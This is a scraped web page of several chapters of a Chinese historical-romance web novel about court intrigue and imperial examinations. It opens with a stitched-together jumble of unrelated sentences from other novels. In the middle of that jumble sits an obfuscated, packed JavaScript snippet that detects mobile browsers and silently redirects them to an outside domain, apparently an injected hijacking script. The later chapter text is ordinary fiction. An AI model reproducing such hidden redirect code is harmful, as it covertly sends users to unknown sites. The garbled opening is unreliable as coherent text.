国庆大半包壮丽烧完了后来抽阴坏口袋里的那包阴坏留了个心眼烟拿出来前顺了两支在上衣口袋里阴坏想这都有上顿没下顿的了主意没想出一个这烟可算倒了血霉了。我这叫有备无患。 第一卷 第234章 不识好心 这莫名的敌意让叶绯霜愣了一下,她还没说话,就听林学渊恶声又道:“看我这样,你很得意吧?世子爷的忠仆?真是一条好狗!” 这让他后背顷刻炸毛,速度瞬间飙升一大截,无论是**修为之力还是肉身气血之力,抑或无神神识之力,魔人精神力量,或者电子意识之力……只要是体内现在能够动用的一切力量,叶轩全都将它们催发到了极点。 到了晚上,司徒羽凡住了下来,同时布置大阵,不让人查看到他。 \t已经没有时间思考,李黑几乎是下意识地对着下方张开了嘴。 \t在暗自腹诽系统“玛德智障怎么不早说”的同时,该玩家也在论坛上将这个悲报扩散了出去。众多玩家也表现出了和他一样的失望,毕竟这样就不能在圣器榜上显摆自己了,也就没有了直接向别人吹牛的资本。 唐肃当然不拦着她,如果有事情做能让林子宜暂时忘记林昊天的死,那他自然愿意让林子宜去做的。 瑶初蝶又恭恭敬敬的给醉云磕了是两个响头,既然应下了重振妙舞门的承诺,瑶初蝶就不会把这个承诺当成玩笑,她会利用一切机会来达成这个目标的。 而且还并非每一次都能得偿所愿,更多的时候其实是枉费气力白折腾。 接连两次成功之后,瘦高个四人对叶轩已是彻底地叹服了,简直奉为天人。 覆灭长春宗的计划在一步步的实施,瑶初蝶安顿好了慕雨和墨云,就回到了紫竹楼。墨云看着瑶初蝶轻飘飘的落在紫竹楼的平台之上。 因为,他透过那一辆跑车的挡风玻璃,看到了里面年轻人,正在冲着他们阴测测的嘲笑着。 那是一条绵长的光翼,纯粹如同鲜血般的殷红,它直接插入了天空那无尽的铅云之中,再也看不到尽头。 楚天好奇魔龙变是什么,看了才知道,这是一种魔修,能让自己整体能力发狂进入爆发状态下的可怕模式,不过一个不好,可能反而会让自己走火入魔。 六人之中,实际上受正庆帝恩最重的就是贾清,贾清却在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284260|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时作壁上观,也难怪李珍不满了。 穆辰东开车戴着赵暖央去云诚饭店吃了午饭,然后又开车送她去机场。 “可以教教我怎么做饺子吗?”海娜侧着头,媚惑地冲穆辰东微笑着,娇滴滴地问道。 公主那眼神盯着楚天,脸上却笑意浓浓,而楚天忽然感受到对方体内有一股微弱的魔气,这可是要修魔之人才可能有的。 叶璇叹了一口气给了姜玉轩一个后脑勺,见过无耻的,没见过这么无耻的。 说完,楚天一团生命泉和不朽种子的力量一一注入那个虫上,这腐蚀之虫惊叫一声,突然跳入楚天体内。 此时征战依旧在延续,紫寒却始终**,在此时一缕神魂而起,在这飘渺之间竟向着那树灵附着而去,神魂而至在这瞬息之间伴着那一缕神魂的轻颤,树灵之上竟有着一道绿‘色’的涟漪在这一刻顿时逸散开来。 院长当初能从一名普通的住院医师,在短短的五年里一路爬到院长的位置,全靠蔡铜昊的父亲大力扶持。 第235章 她很有趣 “那怎么行?”宁衡立刻拒绝,还把叶绯霜往自己身后拦了拦,“哪有六皇兄这样的,一来就抢人?” “有缘之人难得啊。”宁寒青说话时语调悠悠的,不紧不慢,还带着笑,让人有如沐春风之感,“不过一个小书童而已,衡弟这般舍不得?” 宁衡摆摆手:“舍不得舍不得,旁的人六皇兄想要了谁去都行,偏这个不行,我离不了他!” 叶绯霜也颇为不解,怎么这六殿下一来就盯上自己了? 宁寒青又道:“来的路上听见不少人议论一桩妙事,说秋闱放榜后,怀瑜书院进行了一场策论比试,衡弟的书童竟将陈清言都比下去了,可是这位书童?” 宁衡心说难怪了,合着是知道这事了。 “是啊,六皇兄也知道我这书童厉害了吧?”宁衡没有那些弯弯肠子,说什么都是直来直去的,“你别打他主意了,人我是绝对不会给的。” 一边的燕颂眨巴眨巴眼睛,饶有兴致地问:“一个小书童竟这般厉害?” 宁衡稀奇:“燕太子也知道陈清言?” “知道呀,你们京城的赌坊为春闱开了赌局,这位可是押宝人数最多的。” 燕颂说着,饶有兴致地看着叶绯霜:“你比陈清言还厉害吗?” “殿下过誉了,我文采不及陈公子万分之一。” “哦?” “我所写的那篇策论,是之前陪世子爷找书的时候,偶然在一本书上见到的,所以比试的时候照猫画虎写了个大概。殿下一问就能知道,夫子们说我那篇文章好,主要看的是立意和深度,其实行文格式一塌糊涂。” 叶绯霜不卑不亢地说:“文章的内容是旁人的,行文和格式才是我的真实水平。由此可见我是个庸人,远远比不得各位举人老爷。” 宁寒青笑吟吟道:“看来你这小童运气倒是不错,看过的文章正好比试时就用上了。” “是呢是呢,小的也觉得太侥幸了。”叶绯霜朝宁衡连连拱手,“多亏我家世子爷天之骄子,才得老天爷庇佑,让小的有了这么好的运气。” 宁衡得意地一抬下巴:“那是,爷可是麒麟转世!” 被严词拒绝了,宁寒青倒也不强求。 宁衡又问:“你们怎么来了?” 宁泓说:“六皇兄送燕太子还朝,燕太子想来周边城池转转,感受一下大昭不同地方的风俗,于是便来了。” “这好啊!”宁衡顿时觉得这位燕太子是个和自己一样懂生活的人,看他更加顺眼了。 人活着,不就是为了吃喝玩乐、游山玩水吗?真不知道他们那种天天算计来算计去的图个啥。 荥阳没有行宫,也不能让人家大晟太子住驿站客栈什么的,于是宁衡把人带去了璐王府安置。 叶绯霜回了玉琅阁,见萧序正在和两只狼打成一团,双方看起来都很想除掉对方。 看见叶绯霜,萧序立刻朝她跑来,委屈兮兮地告状:“阿姐,陈宴送的狼和他一样讨厌,就会欺负我。” 叶绯霜面无表情:“可我看见的是你把它俩按在地上捶。” “我知道阿姐喜欢它俩,我都没有用力。”萧序鼓着嘴巴,“倒是它们凶狠地抓我,你看——” 他把手伸到叶绯霜面前:“它们都把我抓破了,可疼了。” 叶绯霜看着那道伤痕,神色复杂:“多亏我回来得早。但凡晚上片刻,你这就愈合了。” 萧序:“……” 他抿着淡色的唇,垂下秾长的眼睫。 叶绯霜和他也认识这么久了,每次他打什么小主意,就会摆出这副样子来。 叶绯霜眉心一跳:“想什么呢?不会想下次让它俩抓一道深一些的伤口吧?” 萧序猛然看向她,一双凤眼都睁圆了。 阿姐怎么知道他的打算?! “不许胡闹。”叶绯霜拍了下他的手背,“这么漂亮的手,可不要留下什么疤痕。” 萧序很惊喜地把另一只手也递上来:“阿姐,这只也要!” “要什么?” “要你摸!” 叶绯霜:“……” 萧序:“你不能光抚摸一只,不抚摸另外一只啊。” “抚摸?我拍你一下是抚摸?”叶绯霜乐了,“那我揍你一顿叫什么?” 萧序毫不犹豫:“叫奖励!” 叶绯霜都要失语了。 他阿姐都教了他些什么? 小狸奴跑出来,喵喵地叫,萧序一把把它捞了起来,撸了两把,问叶绯霜:“阿姐今天去哪儿了?我还想叫你一块儿出去踏青呢。” “我去看宁衡了,遇见了几位贵客,所以回来得晚了一点。” 萧序对于旁人一点儿都不关心,所以也没问贵客是谁。 此时,璐王府。 燕颂靠在软榻上,絮絮叨叨:“兄长到底在哪里啊?我怎么一点儿他的行踪都得不到呢?” 旁边的婢女说:“您可以再给悬光殿下去信一封。” “去信也白去,他又不告诉我。”燕颂撇嘴,“真不知道他是找到什么好玩的了,这么流连忘返。” 婢女无言以对。 燕颂翻了个身:“莫非,兄长真找到了什么阿姐?所以被拴住了?” 婢女讪笑:“怎么可能,悬光殿下只有二位胞妹,哪里有什么阿姐?” 燕颂:“不一定是亲的啊,万一是认的,结拜的。” 婢女认真思索片刻,摇头:“奴婢实在想象不到什么人能被悬光殿下认做阿姐。” 燕颂一想自家兄长那傲破天际的性子,对婢女的话十分认同。 他希望自己和兄长的缘分深厚一些,最好哪天走大街上就遇见兄长了。 与此同时,不远的另外一处院落内。 宁寒青立在桌边,桌面上摊着一幅画。 画上是一位少女,十四五岁的模样,容色姣美,顾盼神飞。 宁寒青抬手,挡住了少女的下半张脸,只露出了一双眼睛。 然后笑道:“果然是她。” 侍立在侧的内官尖着嗓子问:“殿下在说谁?” “光从一双眼睛就能看出,郑文朗这画还真没夸张,他这五妹妹是个美人。” 宁寒青悠悠道:“还扮做书童跟在宁衡身边,和书院学子比策论,很有趣。” 内官伸着脖子看桌面上的画,越看越觉得奇怪。 总感觉以前在哪里见过画上这女子。 第236章 表字涧深 三月初九、三月十二、三月十五,是三场会试的时间。 京中的热闹影响不到荥阳,叶绯霜该干嘛该干嘛,倒是小桃有点神神道道的。 看她朝着四个方向拜个不停,叶绯霜忍不住问了:“桃儿,你干嘛呢?” “我在祈祷陈公子高中。” “他中不中和你什么关系?” “当然有关系啦,天大的关系!”小桃说,“我押了他一两银子呢!” 叶绯霜:“……你押他中什么?” “状元啊。” “呃。” “其实我当时犹豫了好久,押状元还是押探花,两边说啥的都有,我狠狠心还是压了状元。文曲星下凡,怎么都得中个状元吧?” “要是中了,能赢多少?” “也不多,就一两钱吧。”小桃瘪着嘴,“没办法,押他中状元的人实在太多啦!” 叶绯霜想,如果和前世一样,你这一两银子就有去无回了。 四月,杏榜放榜,陈宴不出意外中了头名会元。 贡士名单传到了各地,叶绯霜也弄来一份。 意料之中,邱捷也榜上有名。 叶绯霜还看到一个认识的名字——聂遥,赵芳菲的夫君。 还有其他一些耳熟的名字,都是前世陈宴和她说过的。 叶绯霜替这些人感到高兴。中了贡士,就证明数十载寒窗苦读已经取得硕果,只待殿试后赐出身了。 此时,林学渊也在看名单。 来荥阳前,他信誓旦旦地认为,他的名字也会出现在此届杏榜上。 谁知,秋闱就给了他这么大的一个打击。 林姗端了盏鸽子汤过来:“弟弟,喝点汤歇息一会儿吧。” 林学渊把名单压在书下,对林姗笑了笑:“好,辛苦姐姐。” 林姗放下汤盅,没有立刻走,问道:“你还去怀瑜书院吗?” 林学渊抿唇道:“我自己读也是一样的。” 林姗心中叹息,这怎么会一样呢?否则还要夫子做什么? 她听说怀瑜书院藏书很多,还有两位夫子是国子监退下来的大儒,若能得他们指点,当然好过林学渊自己埋头苦读。 林姗知道林学渊和怀瑜书院的人闹了不愉快,毕竟他上次回来,身上都挂彩了,就是让怀瑜书院的人打的。 林姗又恼又心疼。恼他性子太硬不懂变通,心疼他寒窗苦读没个结果。 唉,她这弟弟,就是心气儿太高,把面子看得太重了。 其实有的时候,为了前程,把面子放下也未尝不可。 见林姗深吸一口气,林学渊便知她又要开始长篇大论了,顿时觉得烦躁。 他今天本来心情就不好,不想听林姗多说,立刻道:“我还有事,先出去一趟。” 林姗忙道:“你先把汤喝了啊!” 林学渊头也不回地走了。 他觉得烦。姐姐烦,表姑母烦,郑茜芙更烦。 若能去怀瑜书院,倒也好了,听那些学子的酸言酸语也好过被家里的女眷们念叨着走什么捷径。 什么郑五姑娘、郑茜芙,他都不想要。 他只想凭本事出人头地,以后聘高门贵女,彻底翻身。 闷头走了一段,才发现不知不觉走到了花园里。 旁边的花径里传来窃窃说话声,林学渊急忙躲到了一旁的山石后边。 少顷,一男一女从花径走了出来。 林学渊透过山石的缝隙看去,认出了男子是郑文朗。 他旁边是一位穿着海棠红洒金襦裙的少女,容貌姣美,霞姿月韵,整个人散发的明艳气度逼得人心头发烫。 林学渊好似在这死气沉沉的郑府看见了一团热烈燃烧的火焰,让他心头抽了两下。 只听郑文朗说:“六殿下摆宴,指名让你去。” 那少女冷嗤:“是六殿下指名,还是三哥让六殿下指的我的名?” 郑文朗好声好气:“你见过六殿下便知道了,是个顶好的人,三哥还会害你吗?” “我早先便与三哥说过了,若你真是为我好,就扶持我登上……唔唔……” 她被郑文朗一把捂住了嘴,后半句怎么都说不出来了。 “再敢说大逆不道的话,让我捂死你算了。”郑文朗咬牙切齿,又十分无奈,“这种好事,你怎么就不要呢?多少人想攀附皇子,都没这个机会呢,你就不能听我一句劝?” “唔唔唔……” 两人互相撕扯着逐渐走远,后边再说什么林学渊就听不清了。 林学渊见过许多次这位郑三公子,但是对方从未给过他一个正眼。 不止他,听说除了长房,其它所有房的人……他都不给正眼,平等地看不起。 所以林学渊搞不清刚刚那名女子是谁,因为这位眼高于顶、特别喜欢翻白眼的郑三公子明显是哄着对方的。 叫他三哥,是郑家哪位姑娘? 林学渊把他知道的郑家姑娘想了一遍,发现应该都不是。 大概是卢家、或者其他姻亲那边的姑娘吧。 漂亮又神气,难怪能说给皇子。 四月十五,殿试。 一百多名贡士浩浩荡荡地前往太极殿,接受最后一道考核。 这不是陈宴第一次见到暻顺帝。 他幼时进京便参加过宫宴,只是那个时候的暻顺帝比现在看起来年轻得多。 只是过去了十年左右而已,暻顺帝却仿佛苍老了二三十岁,衰老速度有点快。 准备充足,再加上毫不紧张,所以陈宴对答如流,发挥极好。 暻顺帝在考校完陈宴的学问后,问他:“可有表字?” “有,表字清言,祖父所取。” 暻顺帝颔首:“陈老所取自是不错的。” 离开皇宫时,陈宴步履闲适、姿态散漫,悠哉的样子仿佛刚刚从茶馆喝了一盏清茶出来,和旁边汗流浃背的贡士们形成了鲜明对比。 晚上,陈宴做了个梦。 梦里同样是殿试的场景,只不过和今日所见并不相同。 暻顺帝看起来年轻了不少,精神头也好了许多。 他还和下边的大臣们吵,非要一意孤行点他为探花。 吵完后,暻顺帝心满意足地问:“陈宴,你仅十六,尚未及冠,可有表字?” “有。”陈宴答,“表字涧深。” “哦?哪二字?” “山高不阻其志,涧深不断其行。” 暻顺帝闻言笑道:“石涧流寒玉,深山动琼影。你为人沉静清寒,如深山清涧,此字合你。” “多谢陛下盛赞。” 暻顺帝又问:“此字可是陈老为你所取?” “不是。”陈宴道,“是一位……很重要的人所取。她愿我坦然无惧,砥砺向前。我以此表字为勉,愿不辜负她的期盼。” 第237章 这个逆子 陈宴醒来后,于纸上写下了“涧深”二字。 他久久凝望着这两个字,回想梦中的情形。 他可以感知梦中自己的喜怒哀乐,却不明缘由。 不知道自己为何要杀掉那么多人,亦不知道自己口中“很重要的人”到底是谁。 应当不是父母尊长,否则他便直说是谁了。 不能直说,只能证明对方身份隐蔽,那到底会是谁呢? 十六岁,中探花。 又想到三年前,他去向叶绯霜告别时,她也说他会中探花。 “果然啊……”陈宴喃喃自语,“到底什么时候才会愿意和我说实话呢?” “公子。”青岳的声音从外边传来,“您起了吗?” “进来。” 青岳推门而入:“公子,老爷让您早膳后过去一趟。” “知道了。” 陈宴此时住在京城的陈府,五进的院子,虽比不得颍川陈府,但也足够舒坦了。 陈承安唤陈宴过去,无非是问他之后的打算。 一般的进士会进入翰林院,或者直接外放。陈宴背靠陈家,不必这样熬,直接进六部都不成问题。 陈宴垂着眼睫,将自己的打算和陈承安说了。 陈承安有些意外:“你竟是这么想的?你祖父可知道?” “知道,祖父表示同意。想让科举取士成为主流,就必得兴学风,振兴各大书院,让寒门士子有进学之道。” “你可以从国子监开始……” “国子监里都是什么人,岂会听我的话?不妨以怀瑜书院为试点,等圣上看到怀瑜书院的成绩后,下旨整顿国子监学风,这样才有说服力。” 陈承安捋了捋胡须,做沉思状。 半晌后,他道:“也罢,既然你已有主意,就按你的想法来吧。” “是。” “你母亲还在等你,去向她请安吧。” 话落,见陈宴皱了下鼻子。 难得从他脸上见到这副表情,陈承安笑道:“即便知道她要说什么你也得听着,况且她说的也是大事,你是该成家了。” 从陈承安的书房出来后,陈宴去了花厅。 果不其然,陈夫人张口便是:“这两个月,我去了不少花宴,相看了几位姑娘,个顶个的都好。等你金殿传胪后,我们陈府也办个宴,到时候也让你相看相看。” 陈宴木着脸:“儿不看。” 陈夫人冷眼觑他:“你都要出仕了,身边没个知冷知热的人照顾着你怎么行?家里的事情谁为你操持?礼尚往来那些琐事莫非你还要自己经手?” “有韩妈妈便好。” 韩妈妈是陈文益身边的老嬷嬷。陈文益知道陈宴无心娶妻,这次便让韩妈妈一块儿入了京,好替陈宴打点庶务。 陈夫人要被他气死了:“你说说你,身边除了几个小厮、长随,就是些老妈子,连个丫鬟都不带,你不嫌日子过得没劲头?” 陈宴望着陈夫人,满眼真诚:“儿此次金榜题名,往后自有大好的前程,日子一片光明,怎会没劲头?莫非在母亲心中,男欢女爱才是日子的劲头?” 听他故意曲解自己的意思,陈夫人登时黑了脸:“陈清言!” “母亲息怒。” 陈夫人指着他的手都在颤抖:“你你你……你是不是还想着郑家那小丫头呢?” 陈宴倒是坦然得很:“是。” “不许想了!你俩已经退婚了,再没可能!” 陈宴:“她救了祖父。” 陈夫人:“你金榜题名,阖该取个知书达理的妻子,能跟你琴瑟和鸣、诗词相和。那郑五姑娘不曾好好念过书,不适合你。” “她救了祖父。” 陈夫人:“日后你高官厚禄,往来的都是达官显贵。郑五姑娘……脾性刚烈,不适合同贵妇们交际。” “她救了祖父。” 陈夫人一拍桌子:“陈清言,一码归一码!她救了你祖父,我们陈家上下全都念着她的恩情,这和你娶亲有什么关系?” “古人言,大恩大德无以为报,当以身相许。祖父年事已高,是万万不能了。爷债孙偿,自当由儿来替代,以偿郑五姑娘救命之恩。” 这种浑话都让他说得一本正经,陈夫人气得几乎仰到,怒道:“你给我滚!” 陈宴躬身一礼:“母亲保重身体,儿告退。” 说罢,翩然转身,闲庭信步地走了。 陈夫人身边的王妈妈急忙给她顺气:“您看您,每次和三郎一说婚事就气得急头白脸的,您图什么?” “这个逆子!”陈夫人气得直拍桌子。 旁人都说,男孩子八九岁的时候皮得很,大人说什么都不听,人憎狗嫌。 她这儿子少年老成,自小就让父母省心,从没忤逆过尊长。 没想到长大了,反而叛逆起来了,十八九岁有了别人八九岁的那股子劲,简直越活越回去了。 王妈妈说:“依我看,您不如依了三郎。” 陈夫人眼眶泛红,没吭声。 知道她听得进去,王妈妈继续道:“自打老太爷那事后,您不是也夸那郑五姑娘是个好的吗?说她不计前嫌来帮老太爷,是个心胸宽广之人。和这样的人过日子才舒坦啊,要是换做个斤斤计较小心眼的,您不替三郎累得慌吗?” “可她到底……” “我看那郑五姑娘相貌端庄、举止有度,可见是受过教养的。您无非是嫌她读的书不够多,怕和三郎说不到一块儿去。这不正好,让三郎以后教她,还是夫妻乐趣呢。” 陈夫人狐疑地看了王妈妈一眼:“你以前不是也看不上那郑五姑娘?还说她娘小家子气,恐教不出什么好女儿,怎么这下倒转了性了?” 王妈妈:“她不是救了咱们老太爷吗?打那之后,我怎么看她怎么顺眼了。” 陈夫人:“我倒也不是觉得她一定不行,只那次见她和人动手,还指着三郎骂,实在不成样子。” 王妈妈又道:“三郎不是说了吗?那次她以为她娘出事了,这才失了理智。这不刚好证明这姑娘孝顺得很啊!媳妇有孝心,以后受益的不还是你这当婆母的?” 陈夫人想想,好像也确实是这么个理儿。 但让她一下子做决定也不行。 “我再想想吧。”陈夫人很头痛地说,“先给清言说几个姑娘看看,若他还是一门心思认准了……我就依了他吧。唉,也没办法,这个逆子!” 第238章 榜下捉婿 殿试的结果很快传到了荥阳了。 “姑娘姑娘,我赢了!”小桃兴奋地大喊,“我没押错,哈哈哈,陈公子真的中状元了!” 叶绯霜有些意外但又不是特别意外,在心里偷偷为自己的谨慎竖起了大拇指。 幸好她没有依照前世的记忆就盲目押陈宴中探花,否则赔得底朝天。 “邱捷呢?”前世邱捷可是状元。 “邱举人是榜眼!现在外头可热闹啦,都在庆祝咱们荥阳城出了一位榜眼呢!” 叶绯霜立刻换了衣服,准备去一趟翰墨书肆。 萧序就和在她身上装了什么似的,最近只要她一出门,他就闻着味儿来了。 叶绯霜惊讶地看着一身粗布葛衣的萧序。 “怎么样阿姐,这下没什么问题了吧?”萧序显然对自己的新装扮很得意,“你总说我不像护卫,这下像了吧?” 叶绯霜:“这衣服是你的贴身侍从云樾的吧?” “是啊,我让他裁衣裳的时候也给我裁了几身。” 为了配合衣裳,他没戴冠也没束簪,只用一条青色发带把头发束了起来。 都说人靠衣冠马靠鞍,而萧序此刻证明了人主要还是靠气质。 叶绯霜带着萧序上街,还叫上了郑茜静一起。 她们这些孙辈已经出了孝期,也就是说郑茜静和谢珩的婚事就要提上日程了。 郑茜静现在就是一个认命的状态,但是这并不妨碍她闷闷不乐。 她本来就病弱弱的,现在瘦得像张纸,叶绯霜都怕风大一点把她给吹跑了。 一路上,都在听街边的人议论今科春闱,叶绯霜和小桃也绞尽脑汁说些有趣的事逗郑茜静高兴,但是郑茜静不是很能笑得出来。 到了翰墨书肆,果不其然,里边已经聚集了许多寒门学子。 此届贡士中有三四成出身寒门,更别提还有榜眼邱捷、二甲第六的聂遥、三甲头名这些成绩斐然的平民。 对于天下寒门学子来说都是一个莫大的鼓舞。 叶绯霜趁机营销:为了庆贺荥阳学子邱捷高中榜眼,翰墨书肆开展为期一个月的优惠活动—— 翰墨书肆的书纸、笔墨全部削价两成。凡是消费两百文以上的,可获赠味馨坊或者素锦,亦或是其它酒楼、香料坊等铺子的红票一张,去其它铺子买东西时红票可抵十文钱。消费五百文以上的,可挑选赠书一本,外加可抵三十文的红票。 店中的学子们立刻开始盘算手头的银钱,叶绯霜又趁机提醒:“大家可以凑单一起买,买完后可以再一起去酒楼饱餐一顿,或者去素锦扯匹布,每人还能做双新鞋。” 郑茜静在一边听得目瞪口呆,她养尊处优五谷不分,不知道生意原来是这么做的。只要让一点点小利,就能宾客盈门。 郑茜静被书肆热闹的气氛感染,心头的阴霾被冲散了一点。 但是转而一想,嫁去北地后,山高水长的,和叶绯霜这辈子都不知道能不能再见面,顿时又惆怅得不得了。 旁边是个茶楼,叶绯霜带郑茜静去听说书,转移她的注意力。 说书先生正在讲金殿传胪、状元游街的故事,所以茶楼里也是人山人海,早就没了位置。 郑茜静这身子骨不能和人挤,叶绯霜正准备走,忽然茶楼的小二过来,热络殷勤地说:“郑大公子请二位姑娘上去。” 原来今日郑文煊也出来了。 叶绯霜和郑茜静跟着小二上了楼,到了一处很大的雅间门口,房门一推,里边的说笑声戛然而止。 原来不止郑文煊,还有郑文朗、宁寒青、宁泓、燕颂等人,此外还有几个面生的,看座次像燕颂那边的人,应该是大晟使臣。 来都来了,没有扭头就走的道理,叶绯霜朝几人行礼。 在座之人郑茜静除了燕颂都认识,前些日子听郑文煊说过大晟太子到了荥阳,料想这位就是了,于是单独给他见了个礼。 燕颂笑出一口白牙:“姑娘们不必多……啊!!!” 他活像被看不见的鬼咬了一口,猛然跳了起来,一双眼瞪得铜铃般大。 他身边几位年轻公子同样“唰”一下站了起来,各个面色古怪,还后退了两步,就和腾出地方要磕头似的。 大昭这伙人被大晟这几人吓了一大跳,不明所以地看着他们,宁寒青温声问:“燕太子,怎么了?” 这位小太子年纪轻轻却风姿卓然,从未像现在这么失态过。 “啊,认错人了。”燕颂干笑两声,信口胡诌,“乍一看郑二姑娘,还以为是教我的那位女太傅呢,吓了我一跳。” 身边的公子们立刻附和:“是啊,真的很像。” “我也认错了,哈哈哈。” 叶绯霜和郑茜静落座,萧序抱着刀站在叶绯霜身后。 宁寒青看向依然呆立的燕颂等人:“燕太子坐呀。” 燕颂干笑着坐下了,招呼身边的人:“你们也坐。” 那几人对视几眼,小声道:“我们……不坐了吧?” 燕颂瞪他们几眼:“坐!” 几人面面相觑,努力克制着不往另一边看,小心翼翼地把屁股在椅子上掸了个边儿。 宁寒青看了一眼戴着面具的萧序,问:“这是郑五姑娘的护卫?” 叶绯霜:“是。” 燕颂刚端起茶杯:“咳!” 宁寒青又看了过来,燕颂立刻指着楼下的说书人道:“他刚讲的,陈清言游街的时候差点被香囊帕子砸死,哈哈哈……” 大晟使臣们:“哈哈哈。” 说书人醒木一拍,慷慨激昂:“……无数达官显贵的豪仆、家丁们等着榜下捉婿,一时间挤挤攘攘,好几家都大打出手,好不热闹!众位可知,谁捉了咱们状元郎去?” 立刻有人问:“谁啊?” 说书人却开始喝茶,卖起关子来。 宁寒青悠悠道:“我也好奇,哪家这么能耐,竟然捉了咱们陈状元去?” 等下头议论得沸反盈天了,说书人才揭晓谜底:“便是今上和淑妃娘娘的爱女,安华公主是也!” “听说安华公主不光长得漂亮,还弹得一手好琴,和仙乐一般呢。” “公主配状元郎,这可是千古佳话啊!” 一时间,下边都是什么“郎才女貌”“天作之合”之类的感叹。 “呦,原来是我家啊。”宁寒青摇了摇头,笑道,“安华可真是胡闹。” 在座之人都听得出来,话中只有宁寒青对亲妹妹的宠溺,并无任何责怪之意。 宁寒青看了一眼叶绯霜,见她神情淡漠,没有一丝波动,好似对陈宴的事漠不关心。 不禁好奇,不知她是真淡然,还是佯装淡定。如果是真的,那这姑娘还真是个心志坚定之人。 燕颂则魂游天外,满脑子都是“护卫”二字。 兄长这是什么趣味,竟然万里迢迢跑来给人做护卫! 斜着眼睛偷瞄了一眼叶绯霜,莫非这就是兄长说的“阿姐”? 不能啊,这姑娘明显比兄长小。 燕颂一头雾水,感觉自己晕了。 第239章 想得挺美 楼下热闹非凡,他们这间茶室却安静了下来。 莫名的气氛在茶室中涌动,有点奇怪。 主要是大晟那些人有些奇怪。 宁寒青忽然问:“郑五姑娘可知道我妹妹安华?” “确有耳闻。”叶绯霜点头,“听说安华公主不禁品貌冠绝,琴艺更是精湛。” 前世,叶绯霜就听陈宴赞过,安华公主的琴弹得非常精妙。 哦对,他还夸安华公主的手好看来着。 那时候她和陈宴的关系还不错,她喜欢跟他撒娇撒痴,听到他夸安华公主,顿时不高兴地问:“我的手也很好看啊,你为什么不夸夸我呢?” 陈宴就握住她的手,在她的手掌上不断抚摸。 半晌,陈宴才说:“我不喜欢你现在的手。” 叶绯霜的脸一下子红了个彻底,难堪又窘迫,连忙把手抽回来,低低“哦”了一声。 是啊,她怎么敢和堂堂公主比手呢?人家是怎么保养的,用花露、珍珠粉、牛乳等等,一双手肯定又白又软又嫩。 不像她,小时候练武,后来回了郑府还要做很多活计,手其实很糙。 她有些失落,垂着头一直没说话,陈宴也没有理会她。她偷偷瞟了一眼,见他在出神。 肯定在想安华公主!她愤愤地想。 过了一会儿,她才小心翼翼地问:“你会娶安华公主吗?” “不会。” 他回答得毫不犹豫,让她又小小的雀跃起来。 叶绯霜想,这一世和前世有很多地方都不一样了,说不定陈宴的婚配大事也会有所不同。 前世,他娶的是那位德璋太子的遗孤宁昌公主。 说不定这一世,他就娶了安华公主呢? 还是蛮有可能的。 宁寒青端起茶杯,悠然又道:“安华幼时就见过陈宴,那时就对母妃说,若将来陈宴长成个世无其二的俊俏郎君,她就非君不嫁。现在看来,她的愿望离实现不远了。” 郑文朗接话道:“圣上极其宠爱安华公主,若公主愿意,想必会降旨赐婚。” “是啊。”宁寒青点头,缓声问,“你们觉得,陈宴可会允诺?” 郑文煊和郑文朗对视了一眼,都明白宁寒青的深层意思。 他不是在问陈宴是否会娶安华公主,而是在问陈家是否会站在他六皇子这一边。 郑文煊道:“若圣旨赐婚,想必陈宴不会拒绝。” 宁寒青笑容不变,看向叶绯霜:“郑五姑娘觉得呢?依照你对陈宴的了解,他是否会娶安华?” “不知道啊。”叶绯霜说,“我和陈宴不熟,哪里知道他怎么想的?” “是吗?”宁寒青轻轻扬眉,“可我听说郑五姑娘回到郑家后,就和陈宴接触颇多,怎会不熟呢?” 叶绯霜摆摆手:“您听错了,他陈宴是什么人,怎会浪费时间在我一个小女子身上?” 宁寒青轻笑道:“郑五姑娘何必妄自菲薄。我看郑五姑娘落落大方,倒是很想让人结交。” 一听这话,郑文朗心头一喜,有戏! 宁寒青说完,察觉到叶绯霜身后那个侍卫扫了自己一眼。 是一道犀利又凌厉的眼风。 “郑五姑娘这个侍卫倒是有趣,怎么还戴着面具?” 萧序冷漠道:“长得丑。” 燕颂一哽,下意识摸了摸自己的脸。 宁寒青笑容温雅:“哦?那不如摘了让我看看到底有多丑。” “不摘。” 宁寒青身后的内官顿时出声斥道:“大胆!竟敢违抗六殿下的命令!” 萧序早就看这个所谓的六殿下不顺眼了,一直打量阿姐,让人很想把他的眼珠子挖出来。 萧序轻哂:“我只听我家姑娘一人之令,旁人的,我一概不听。” 内官愤愤:“这可是六殿下!” “我管你几殿下,命令不到我头上。” “你……” “吵什么?”燕颂把茶杯重重往桌上一放,扫了那内官一眼,“本太子连那说书人的声音都快听不见了!” 内官忙赔笑:“燕太子息怒,是小人莽撞了。” 燕颂又对宁寒青说:“和他一个侍卫计较什么?他都说自己长得丑了,真把面具摘下来,倒了本太子胃口怎么办?” 叶绯霜转头看了一眼萧序:“你这是第一次冲撞贵客,我不和你计较。但凡有下次,我定要惩罚你。” 不知道哪个词戳到了萧序,他一下子变得高兴又激动:“是,姑娘!” 叶绯霜这话是在给宁寒青台阶,再加上燕颂发话,宁寒青也不好和个侍卫一直计较了,没得失了身份。 一场评书结束,听众们纷纷散去。 宁寒青请燕颂去用膳,被燕颂拒绝了。 他说自己听累了,要回去休息。 一行人目送燕颂上了马车。 而后宁寒青请郑家众人在酒楼里吃了午饭,才各自离开。 郑文朗对于这次会面很满意,宁寒青对叶绯霜不是毫无兴趣。 不过郑文朗对叶绯霜那侍卫确实很不满:“五妹妹,你那侍卫粗鲁无礼,不适合跟在你身边,让他走。我给你找几个女侍,跟着你进出也方便。” “不要。”叶绯霜直言不讳,“你找的人我不放心。” 郑文朗:“……我还能害你吗?” 叶绯霜反问:“不能吗?” 郑文朗深吸一口气,让自己不要生气:“你也见到六殿下了,是不是人中龙凤?” “龙凤没看出来,笑面虎倒是真的。三哥可以提醒一下六殿下,没事少笑,不然脸上容易长褶子,老得快。” 说罢,不待郑文朗再说什么,拉着郑茜静走了。 